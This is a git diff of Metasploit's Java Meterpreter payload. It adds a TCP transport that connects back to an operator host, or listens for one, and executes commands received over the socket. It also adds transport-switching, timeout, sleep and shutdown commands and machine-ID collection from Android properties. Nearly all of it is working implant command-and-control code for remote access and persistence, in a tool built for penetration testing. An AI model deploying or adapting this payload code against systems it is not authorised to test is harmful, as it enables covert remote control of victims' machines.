b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/TcpTransport.java new file mode 100644 index 00000000..a7f2ca2e --- /dev/null +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/TcpTransport.java @@ -0,0 +1,212 @@ +package com.metasploit.meterpreter; + +import java.io.DataInputStream; +import java.io.DataOutputStream; +import java.io.OutputStream; +import java.io.EOFException; +import java.io.IOException; + +import java.net.ServerSocket; +import java.net.Socket; +import java.net.SocketException; +import java.net.SocketTimeoutException; + +import com.metasploit.meterpreter.command.Command; + +public class TcpTransport extends Transport { + private Socket sock = null; + private DataInputStream inputStream = null; + private DataOutputStream outputStream = null; + private String host; + private int port; + + // This whole thing exists just so that we can deal with + // the fact that MSF thinks we've 'died' (and therefore + // it hangs) when we terminate the socket. We need to wait + // for MSF to terminate instead. + private class SocketDisposer extends Thread { + private final Socket sock; + private final DataInputStream in; + private final DataOutputStream out; + + public SocketDisposer(Socket s, DataInputStream in, DataOutputStream out) { + this.sock = s; + this.in = in; + this.out = out; + } + + public void run() { + if (this.in != null) { + try { + byte[] buffer = new byte[16]; + while (true) { + this.in.readFully(buffer); + } + } + catch (IOException ex) { + try { + this.in.close(); + } + catch (IOException ex2) { + } + } + } + + if (this.out != null) { + try { + // keep writing until the socket dies, from there + // we'll know that the other end has actually closed it. + while (true) { + this.out.writeByte((byte)0); + } + } + catch (IOException ex) { + try { + this.out.flush(); + this.out.close(); + } + catch (IOException ex2) { + } + } + } + + if (this.sock != null) { + try { + this.sock.close(); + } + catch (IOException ex) { + } + } + } + } + + public TcpTransport(String url) { + super(url); + + int portStart = url.lastIndexOf(":"); + this.port = Integer.parseInt(url.substring(portStart + 1)); + this.host = url.substring(url.lastIndexOf("/") + 1, portStart); + } + + public void bind(DataInputStream in, OutputStream rawOut) { + this.inputStream = in; + this.outputStream = new DataOutputStream(rawOut); + } + + public int parseConfig(byte[] configuration, int offset) { + return this.parseTimeouts(configuration, offset); + } + + public boolean switchUri(String uri) { + // tcp transports don't support URL switching + return false; + } + + public void disconnect() { + SocketDisposer s = new SocketDisposer(this.sock, this.inputStream, this.outputStream); + this.sock = null; + this.inputStream = null; + this.outputStream = null; + + s.start(); + } + + protected boolean tryConnect(Meterpreter met) throws IOException { + if (this.inputStream != null) { + // we're already connected + return true; + } + + if (this.host.equals("")) { + ServerSocket server = new ServerSocket(this.port); + this.sock = server.accept(); + server.close(); + } else { + this.sock = new Socket(this.host, this.port); + } + + if (this.sock != null) { + this.sock.setSoTimeout(500); + this.inputStream = new DataInputStream(this.sock.getInputStream()); + this.outputStream = new DataOutputStream(this.sock.getOutputStream()); + + // this point we are effectively stageless, so flush the socket + this.flushInputStream(met.getIgnoreBlocks()); + + return true; + } + + return false; + } + + public TLVPacket readPacket() throws IOException { + int len = this.inputStream.readInt(); + int type = this.inputStream.readInt(); + return new TLVPacket(this.inputStream, len - 8); + } + + public void writePacket(TLVPacket packet, int type) throws IOException { + byte[] data = packet.toByteArray(); + synchronized (this.outputStream) { + this.outputStream.writeInt(data.length + 8); + this.outputStream.writeInt(type); + this.outputStream.write(data); + this.outputStream.flush(); + } + } + + public boolean dispatch(Meterpreter met) { + long lastPacket = System.currentTimeMillis(); + int result = 0; + while (!met.hasSessionExpired() && + System.currentTimeMillis() < lastPacket + this.commTimeout) { + try { + TLVPacket request = this.readPacket(); + + if (request == null) { + continue; + } + + // got a packet, update the timestamp + lastPacket = System.currentTimeMillis(); + + TLVPacket response = request.createResponse(); + result = met.getCommandManager().executeCommand(met, request, response); + + this.writePacket(response, TLVPacket.PACKET_TYPE_RESPONSE); + + if (result == Command.EXIT_DISPATCH) { + return true; + } + } catch (SocketTimeoutException ex) { + // socket comms timeout, didn't get a packet, + // this is ok, so we ignore it + } catch (SocketException ex) { + // sometimes we'll have issues where writing a response when we're exiting + // the dispatch is intended, so we'll check for that here too + if (result == Command.EXIT_DISPATCH) { + return true; + } + } + catch (Exception ex) { + // any other type of exception isn't good. + break; + } + } + + // if we get here we assume things aren't good, or we have a session timeout/expiration + return false; + } + + private void flushInputStream(int blocks) throws IOException { + // we can assume that the server is trying to send the second + // stage at this point, so let's just read that in for now. + for (int i = 0; i < blocks; i++) { + int blobLen = this.inputStream.readInt(); + byte[] throwAway = new byte[blobLen]; + this.inputStream.readFully(throwAway); + } + // and finally discard the block count + this.inputStream.readInt(); + } +} diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Transport.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Transport.java new file mode 100644 index 00000000..7babb340 --- /dev/null +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/Transport.java @@ -0,0 +1,109 @@ +package com.metasploit.meterpreter; + +import java.io.DataInputStream; +import java.io.OutputStream; +import java.io.IOException; + +public abstract class Transport { + public static final long MS = 1000L; + + private Transport prev; + private Transport next; + + protected String url; + protected long commTimeout; + protected long retryTotal; + protected long retryWait; + + protected abstract boolean tryConnect(Meterpreter met) throws IOException; + + public abstract int parseConfig(byte[] configuration, int offset); + public abstract void bind(DataInputStream in, OutputStream rawOut); + public abstract void disconnect(); + public abstract boolean dispatch(Meterpreter met); + public abstract void writePacket(TLVPacket packet, int type) throws IOException; + public abstract TLVPacket readPacket() throws IOException; + public abstract boolean switchUri(String uri); + + protected Transport(String url) { + this.url = url; + } + + protected int parseTimeouts(byte[] configuration, int offset) { + // starts with the comms timeout + this.commTimeout = MS * Meterpreter.unpack32(configuration, offset); + offset += 4; + + // then we have the retry total + this.retryTotal = MS * Meterpreter.unpack32(configuration, offset); + offset += 4; + + // then we have the retry wait + this.retryWait = MS * Meterpreter.unpack32(configuration, offset); + offset += 4; + + return offset; + } + + public String getUrl() { + return this.url; + } + + public long getCommTimeout() { + return this.commTimeout / MS; + } + + public void setCommTimeout(long commTimeout) { + this.commTimeout = commTimeout * MS; + } + + public long getRetryTotal() { + return this.retryTotal / MS; + } + + public void setRetryTotal(long retryTotal) { + this.retryTotal = retryTotal * MS; + } + + public long getRetryWait() { + return this.retryWait / MS; + } + + public void setRetryWait(long retryWait) { + this.retryWait = retryWait * MS; + } + + public boolean connect(Meterpreter met) { + long lastAttempt = System.currentTimeMillis(); + + while (System.currentTimeMillis() < lastAttempt + this.retryTotal) { + try { + if (this.tryConnect(met)) { + return true; + } + } catch (Exception e) { + } + + met.sleep(this.retryWait); + } + + return false; + } + + public void setPrev(Transport t) { + this.prev = t; + } + + public void setNext(Transport t) { + this.next = t; + } + + public Transport getPrev() { + return this.prev; + } + + public Transport getNext() { + return this.next; + } +} + diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/TransportList.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/TransportList.java new file mode 100644 index 00000000..d02aff65 --- /dev/null +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/TransportList.java @@ -0,0 +1,70 @@ +package com.metasploit.meterpreter; + +public class TransportList { + private Transport transport = null; + private Transport nextTransport = null; + private long wait = 0; + + public boolean isEmpty() { + return this.transport == null; + } + + public Transport current() { + return this.transport; + } + + public boolean changeRequested() { + return this.nextTransport != null; + } + + public void moveNext(Meterpreter met) { + if (this.wait > 0) { + met.sleep(this.wait); + this.wait = 0; + } + + if (this.nextTransport == null) { + this.transport = this.transport.getNext(); + } else { + this.transport = this.nextTransport; + this.nextTransport = null; + } + } + + public void setNext(Transport t, long wait) { + this.wait = wait; + this.nextTransport = t; + } + + public void add(Transport t) { + if (this.transport == null) { + // first transport, point it at itself + t.setNext(t); + t.setPrev(t); + this.transport = t; + } else { + // wire it into the end of the circular list + this.transport.getPrev().setNext(t); + t.setPrev(this.transport.getPrev()); + t.setNext(this.transport); + this.transport.setPrev(t); + } + } + + public void remove(Transport t) { + if (this.transport == this.transport.getNext()) { + // removing the last one + this.transport = null; + } else { + // move to the next if the current one is being removed + if (this.transport == t) { + this.transport = this.transport.getNext(); + } + + // pointer juggle + t.getPrev().setNext(t.getNext()); + t.getNext().setPrev(t.getPrev()); + } + } +} + diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/command/Command.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/command/Command.java index 06fe68e0..b826ffcb 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/command/Command.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/command/Command.java @@ -21,6 +21,11 @@ public interface Command { */ public static final int ERROR_FAILURE = 1; + /** + * Status code indicating a clean dispatch loop exit. + */ + public static final int EXIT_DISPATCH = 2; + /** * Execute this command. * diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/Loader.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/Loader.java index 4409fc0f..39b94c5e 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/Loader.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/Loader.java @@ -18,6 +18,16 @@ public class Loader implements ExtensionLoader { mgr.registerCommand("core_channel_read", core_channel_read.class); mgr.registerCommand("core_channel_write", core_channel_write.class); mgr.registerCommand("core_loadlib", core_loadlib.class); + mgr.registerCommand("core_uuid", core_uuid.class); mgr.registerCommand("core_machine_id", core_machine_id.class); + mgr.registerCommand("core_shutdown", core_shutdown.class); + mgr.registerCommand("core_transport_set_timeouts", core_transport_set_timeouts.class); + mgr.registerCommand("core_transport_list", core_transport_list.class); + mgr.registerCommand("core_transport_add", core_transport_add.class); + mgr.registerCommand("core_transport_change", core_transport_change.class); + mgr.registerCommand("core_transport_sleep", core_transport_sleep.class); + mgr.registerCommand("core_transport_next", core_transport_next.class); + mgr.registerCommand("core_transport_prev", core_transport_prev.class); + mgr.registerCommand("core_transport_remove", core_transport_remove.class); } } diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_machine_id.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_machine_id.java index 057d904d..9f6a4794 100644 --- a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_machine_id.java +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_machine_id.java @@ -20,9 +20,9 @@ public class core_machine_id implements Command { private String getSerial() throws IOException { StringBuffer stringBuffer = new StringBuffer(); - stringBuffer.append(Utils.runCommand("getprop ro.serialno")); - stringBuffer.append(Utils.runCommand("getprop ro.product.brand")); - stringBuffer.append(Utils.runCommand("getprop ro.product.model")); + stringBuffer.append(Utils.runCommand("getprop ro.serialno").trim()); + stringBuffer.append(Utils.runCommand("getprop ro.product.brand").trim()); + stringBuffer.append(Utils.runCommand("getprop ro.product.model").trim()); return stringBuffer.toString(); } @@ -37,7 +37,7 @@ public class core_machine_id implements Command { for (int j = 0; j < hdPrefixes.length; j++) { String prefix = hdPrefixes[j]; if (hdname.startsWith(prefix)) { - return hdname.substring(prefix.length()); + return hdname.substring(prefix.length()).trim(); } } } diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_shutdown.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_shutdown.java new file mode 100644 index 00000000..6023822e --- /dev/null +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_shutdown.java @@ -0,0 +1,13 @@ +package com.metasploit.meterpreter.core; + +import com.metasploit.meterpreter.Meterpreter; +import com.metasploit.meterpreter.TLVPacket; +import com.metasploit.meterpreter.command.Command; + +import java.io.IOException; + +public class core_shutdown implements Command { + public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception { + return EXIT_DISPATCH; + } +} diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_add.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_add.java new file mode 100644 index 00000000..54b81eab --- /dev/null +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_add.java @@ -0,0 +1,71 @@ +package com.metasploit.meterpreter.core; + +import com.metasploit.meterpreter.Meterpreter; +import com.metasploit.meterpreter.TLVPacket; +import com.metasploit.meterpreter.TLVType; +import com.metasploit.meterpreter.Transport; +import com.metasploit.meterpreter.TcpTransport; +import com.metasploit.meterpreter.HttpTransport; +import com.metasploit.meterpreter.Utils; +import com.metasploit.meterpreter.command.Command; + +public class core_transport_add implements Command { + + public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception { + Transport t = null; + String transportUrl = request.getStringValue(TLVType.TLV_TYPE_TRANS_URL); + + if (transportUrl.startsWith("tcp")) { + t = new TcpTransport(transportUrl); + } else { + HttpTransport h = new HttpTransport(transportUrl); + + // do the HTTP specific stuff here, since we know what we are + h.setUserAgent(request.getStringValue(TLVType.TLV_TYPE_TRANS_UA, new String())); + h.setProxy(request.getStringValue(TLVType.TLV_TYPE_TRANS_PROXY_HOST, new String())); + h.setProxyUser(request.getStringValue(TLVType.TLV_TYPE_TRANS_PROXY_USER, new String())); + h.setProxyPass(request.getStringValue(TLVType.TLV_TYPE_TRANS_PROXY_PASS, new String())); + h.setCertHash(request.getRawValue(TLVType.TLV_TYPE_TRANS_CERT_HASH, null)); + + t = h; + } + + // set the timeouts, defaulting the values that are currently set + // for the current sesion if nothing has been specified + try { + long sessionExpiry = request.getIntValue(TLVType.TLV_TYPE_TRANS_SESSION_EXP); + meterpreter.setExpiry(sessionExpiry); + } + catch (IllegalArgumentException ex) { + } + + try { + long commTimeout = request.getIntValue(TLVType.TLV_TYPE_TRANS_COMM_TIMEOUT); + t.setCommTimeout(commTimeout); + } + catch (IllegalArgumentException ex) { + t.setCommTimeout(meterpreter.getTransports().current().getCommTimeout()); + } + + try { + long retryTotal = request.getIntValue(TLVType.TLV_TYPE_TRANS_RETRY_TOTAL); + t.setRetryTotal(retryTotal); + } + catch (IllegalArgumentException ex) { + t.setRetryTotal(meterpreter.getTransports().current().getRetryTotal()); + } + + try { + long retryWait = request.getIntValue(TLVType.TLV_TYPE_TRANS_RETRY_WAIT); + t.setRetryWait(retryWait); + } + catch (IllegalArgumentException ex) { + t.setRetryWait(meterpreter.getTransports().current().getRetryWait()); + } + + meterpreter.getTransports().add(t); + + return ERROR_SUCCESS; + } +} + diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_change.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_change.java new file mode 100644 index 00000000..c734aa5e --- /dev/null +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_change.java @@ -0,0 +1,26 @@ +package com.metasploit.meterpreter.core; + +import com.metasploit.meterpreter.Meterpreter; +import com.metasploit.meterpreter.TLVPacket; +import com.metasploit.meterpreter.TLVType; +import com.metasploit.meterpreter.Transport; +import com.metasploit.meterpreter.TcpTransport; +import com.metasploit.meterpreter.HttpTransport; +import com.metasploit.meterpreter.Utils; +import com.metasploit.meterpreter.command.Command; + +public class core_transport_change extends core_transport_add { + + public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception { + int result = super.execute(meterpreter, request, response); + + if (result == ERROR_SUCCESS) { + // transport added as a previous element, switch it + meterpreter.getTransports().setNext(meterpreter.getTransports().current().getPrev(), 0); + result = EXIT_DISPATCH; + } + + return result; + } +} + diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_list.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_list.java new file mode 100644 index 00000000..ab2588b4 --- /dev/null +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_list.java @@ -0,0 +1,60 @@ +package com.metasploit.meterpreter.core; + +import com.metasploit.meterpreter.Meterpreter; +import com.metasploit.meterpreter.TLVPacket; +import com.metasploit.meterpreter.TLVType; +import com.metasploit.meterpreter.Transport; +import com.metasploit.meterpreter.HttpTransport; +import com.metasploit.meterpreter.Utils; +import com.metasploit.meterpreter.command.Command; + +public class core_transport_list implements Command { + + public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception { + Transport first = meterpreter.getTransports().current(); + Transport t = first; + + // add the session expiry + response.add(TLVType.TLV_TYPE_TRANS_SESSION_EXP, (int)meterpreter.getExpiry()); + + do { + TLVPacket transportData = new TLVPacket(); + + transportData.add(TLVType.TLV_TYPE_TRANS_URL, t.getUrl()); + transportData.add(TLVType.TLV_TYPE_TRANS_COMM_TIMEOUT, (int)t.getCommTimeout()); + transportData.add(TLVType.TLV_TYPE_TRANS_RETRY_TOTAL, (int)t.getRetryTotal()); + transportData.add(TLVType.TLV_TYPE_TRANS_RETRY_WAIT, (int)t.getRetryWait()); + + if (t instanceof HttpTransport) { + HttpTransport h = (HttpTransport)t; + + if (h.getUserAgent().length() > 0) { + transportData.add(TLVType.TLV_TYPE_TRANS_UA, h.getUserAgent()); + } + + if (h.getProxy().length() > 0) { + transportData.add(TLVType.TLV_TYPE_TRANS_PROXY_HOST, h.getProxy()); + } + + if (h.getProxyUser().length() > 0) { + transportData.add(TLVType.TLV_TYPE_TRANS_PROXY_USER, h.getProxyUser()); + } + + if (h.getProxyPass().length() > 0) { + transportData.add(TLVType.TLV_TYPE_TRANS_PROXY_PASS, h.getProxyPass()); + } + + if (h.getCertHash() != null) { + transportData.add(TLVType.TLV_TYPE_TRANS_CERT_HASH, h.getCertHash()); + } + } + + response.addOverflow(TLVType.TLV_TYPE_TRANS_GROUP, transportData); + + t = t.getNext(); + } while (t != first); + + return ERROR_SUCCESS; + } +} + diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_next.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_next.java new file mode 100644 index 00000000..ee6280f1 --- /dev/null +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_next.java @@ -0,0 +1,20 @@ +package com.metasploit.meterpreter.core; + +import com.metasploit.meterpreter.Meterpreter; +import com.metasploit.meterpreter.TLVPacket; +import com.metasploit.meterpreter.TLVType; +import com.metasploit.meterpreter.Transport; +import com.metasploit.meterpreter.TcpTransport; +import com.metasploit.meterpreter.HttpTransport; +import com.metasploit.meterpreter.Utils; +import com.metasploit.meterpreter.command.Command; + +public class core_transport_next implements Command { + + public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception { + meterpreter.getTransports().setNext(meterpreter.getTransports().current().getNext(), 0); + + return EXIT_DISPATCH; + } +} + diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_prev.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_prev.java new file mode 100644 index 00000000..d4accb84 --- /dev/null +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_prev.java @@ -0,0 +1,21 @@ +package com.metasploit.meterpreter.core; + +import com.metasploit.meterpreter.Meterpreter; +import com.metasploit.meterpreter.TLVPacket; +import com.metasploit.meterpreter.TLVType; +import com.metasploit.meterpreter.Transport; +import com.metasploit.meterpreter.TcpTransport; +import com.metasploit.meterpreter.HttpTransport; +import com.metasploit.meterpreter.Utils; +import com.metasploit.meterpreter.command.Command; + +public class core_transport_prev implements Command { + + public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception { + meterpreter.getTransports().setNext(meterpreter.getTransports().current().getPrev(), 0); + + return EXIT_DISPATCH; + } +} + + diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_remove.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_remove.java new file mode 100644 index 00000000..2703d772 --- /dev/null +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_remove.java @@ -0,0 +1,45 @@ +package com.metasploit.meterpreter.core; + +import com.metasploit.meterpreter.Meterpreter; +import com.metasploit.meterpreter.TLVPacket; +import com.metasploit.meterpreter.TLVType; +import com.metasploit.meterpreter.Transport; +import com.metasploit.meterpreter.TcpTransport; +import com.metasploit.meterpreter.HttpTransport; +import com.metasploit.meterpreter.Utils; +import com.metasploit.meterpreter.command.Command; + +public class core_transport_remove implements Command { + + public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception { + Transport t = meterpreter.getTransports().current(); + + // check if this is the last transport + if (t == t.getNext()) { + // cant' delete the last transport + return ERROR_FAILURE; + } + + String transportUrl = request.getStringValue(TLVType.TLV_TYPE_TRANS_URL); + Transport found = null; + + do { + if (t.getUrl().equals(transportUrl)) { + found = t; + break; + } + t = t.getNext(); + } while(t != meterpreter.getTransports().current()); + + if (found == null || found == meterpreter.getTransports().current()) { + // invalid transport specified (missing or current) + return ERROR_FAILURE; + } + + meterpreter.getTransports().remove(found); + + return ERROR_SUCCESS; + } +} + + diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_set_timeouts.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_set_timeouts.java new file mode 100644 index 00000000..e8061af8 --- /dev/null +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_set_timeouts.java @@ -0,0 +1,54 @@ +package com.metasploit.meterpreter.core; + +import com.metasploit.meterpreter.Meterpreter; +import com.metasploit.meterpreter.TLVPacket; +import com.metasploit.meterpreter.TLVType; +import com.metasploit.meterpreter.Transport; +import com.metasploit.meterpreter.Utils; +import com.metasploit.meterpreter.command.Command; + +public class core_transport_set_timeouts implements Command { + + public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception { + Transport currentTransport = meterpreter.getTransports().current(); + + try { + long sessionExpiry = request.getIntValue(TLVType.TLV_TYPE_TRANS_SESSION_EXP); + meterpreter.setExpiry(sessionExpiry); + } + catch (IllegalArgumentException ex) { + // session expiry not specified + } + + try { + long commTimeout = request.getIntValue(TLVType.TLV_TYPE_TRANS_COMM_TIMEOUT); + currentTransport.setCommTimeout(commTimeout); + } + catch (IllegalArgumentException ex) { + // comm timeout not specified + } + + try { + long retryTotal = request.getIntValue(TLVType.TLV_TYPE_TRANS_RETRY_TOTAL); + currentTransport.setRetryTotal(retryTotal); + } + catch (IllegalArgumentException ex) { + // retry total not specified + } + + try { + long retryWait = request.getIntValue(TLVType.TLV_TYPE_TRANS_RETRY_WAIT); + currentTransport.setRetryWait(retryWait); + } + catch (IllegalArgumentException ex) { + // retry wait not specified + } + + response.add(TLVType.TLV_TYPE_TRANS_SESSION_EXP, (int)meterpreter.getExpiry()); + response.add(TLVType.TLV_TYPE_TRANS_COMM_TIMEOUT, (int)currentTransport.getCommTimeout()); + response.add(TLVType.TLV_TYPE_TRANS_RETRY_TOTAL, (int)currentTransport.getRetryTotal()); + response.add(TLVType.TLV_TYPE_TRANS_RETRY_WAIT, (int)currentTransport.getRetryWait()); + + return ERROR_SUCCESS; + } +} diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_sleep.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_sleep.java new file mode 100644 index 00000000..a42be180 --- /dev/null +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_transport_sleep.java @@ -0,0 +1,28 @@ +package com.metasploit.meterpreter.core; + +import com.metasploit.meterpreter.Meterpreter; +import com.metasploit.meterpreter.TLVPacket; +import com.metasploit.meterpreter.TLVType; +import com.metasploit.meterpreter.Transport; +import com.metasploit.meterpreter.TcpTransport; +import com.metasploit.meterpreter.HttpTransport; +import com.metasploit.meterpreter.Utils; +import com.metasploit.meterpreter.command.Command; + +public class core_transport_sleep implements Command { + + public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception { + int result = EXIT_DISPATCH; + + try { + long sleep = request.getIntValue(TLVType.TLV_TYPE_TRANS_COMM_TIMEOUT) * Transport.MS; + meterpreter.getTransports().setNext(meterpreter.getTransports().current(), sleep); + } + catch (Exception ex) { + result = ERROR_FAILURE; + } + + return result; + } +} + diff --git a/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_uuid.java b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_uuid.java new file mode 100644 index 00000000..833c6a23 --- /dev/null +++ b/java/meterpreter/meterpreter/src/main/java/com/metasploit/meterpreter/core/core_uuid.java @@ -0,0 +1,17 @@ +package com.metasploit.meterpreter.core; + +import com.metasploit.meterpreter.Meterpreter; +import com.metasploit.meterpreter.TLVPacket; +import com.metasploit.meterpreter.TLVType; +import com.metasploit.meterpreter.Utils; +import com.metasploit.meterpreter.command.Command; + +import java.io.IOException; + +public class core_uuid implements Command { + public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception { + response.add(TLVType.TLV_TYPE_UUID, meterpreter.getUUID()); + return ERROR_SUCCESS; + } +} + diff --git a/java/version-compatibility-check/android-api3/pom.xml b/java/version-compatibility-check/android-api10/pom.xml similarity index 91% rename from java/version-compatibility-check/android-api3/pom.xml rename to java/version-compatibility-check/android-api10/pom.xml index 368b3089..2648761f 100644 --- a/java/version-compatibility-check/android-api3/pom.xml +++ b/java/version-compatibility-check/android-api10/pom.xml @@ -2,14 +2,14 @@ xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> 4.0.0 com.metasploit - Metasploit-JavaPayload-Compatibility-android-api3 + Metasploit-JavaPayload-Compatibility-android-api10 com.metasploit Metasploit-JavaPayload-Compatibility-parent 1-SNAPSHOT jar - JavaPayload Compatibility Checks (Android API 3) + JavaPayload Compatibility Checks (Android API 10) http://www.metasploit.com/ @@ -72,8 +72,8 @@ net.sf.androidscents.signature - android-api-level-1 - 1.0_r2 + android-api-level-10 + 2.3.3_r2 diff --git a/java/version-compatibility-check/pom.xml b/java/version-compatibility-check/pom.xml index b42c7ef3..be2ed1f2 100644 --- a/java/version-compatibility-check/pom.xml +++ b/java/version-compatibility-check/pom.xml @@ -52,8 +52,6 @@ java16 java15 java14 - java13 - java12 - android-api3 + android-api10